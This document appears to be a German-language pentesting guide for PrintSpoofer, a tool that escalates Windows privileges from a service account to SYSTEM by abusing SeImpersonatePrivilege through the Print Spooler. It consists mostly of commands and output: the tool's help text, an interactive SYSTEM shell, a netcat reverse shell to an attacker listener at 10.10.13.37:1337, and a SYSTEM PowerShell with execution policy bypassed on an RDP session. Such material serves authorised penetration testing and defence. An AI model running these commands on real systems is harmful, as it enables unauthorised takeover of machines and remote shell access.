
Missbrauch von Identitätswechsel-Berechtigungen durch den 'Printer Bug'
Von LOCAL/NETWORK SERVICE zu SYSTEM durch Missbrauch von SeImpersonatePrivilege auf Windows 10 und Server 2016/2019.
Weitere Informationen: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/.
Sie können die Hilfemeldung mit der Option -h anzeigen.
C:\TOOLS>PrintSpoofer.exe -h
PrintSpoofer v0.1 (by @itm4n)
Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
-c <CMD> Execute the command *CMD*
-i Interact with the new process in the current command prompt (default is non-interactive)
-d <ID> Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
-h That's me :)
Examples:
- Run PowerShell as SYSTEM in the current console
PrintSpoofer.exe -i -c powershell.exe
- Spawn a SYSTEM command prompt on the desktop of the session 1
PrintSpoofer.exe -d 1 -c cmd.exe
- Get a SYSTEM reverse shell
PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"
Wenn Sie eine interaktive Shell haben, können Sie einen neuen SYSTEM-Prozess in Ihrer aktuellen Konsole erstellen.
Anwendungsfall: Bind Shell, Reverse Shell, psexec.py, usw.
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
Wenn Sie Befehle ausführen können, aber keine interaktive Shell haben, können Sie einen neuen SYSTEM-Prozess erstellen und sofort beenden, ohne mit ihm zu interagieren.
Anwendungsfall: WinRM, WebShell, wmiexec.py, smbexec.py, usw.
Erstellen einer Reverse Shell:
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Netcat-Listener:
C:\TOOLS>nc.exe -l -p 1337
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\system
Wenn Sie lokal oder per RDP (einschließlich VDI) angemeldet sind, können Sie eine SYSTEM-Eingabeaufforderung auf Ihrem Desktop starten. Überprüfen Sie zuerst Ihre Sitzungs-ID mit dem Befehl qwinsta und geben Sie diesen Wert dann mit der Option -d an.
Anwendungsfall: Terminalsitzung (RDP), VDI
C:\TOOLS>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
console Administrator 1 Active
>rdp-tcp#3 lab-user 3 Active
rdp-tcp 65536 Listen
C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK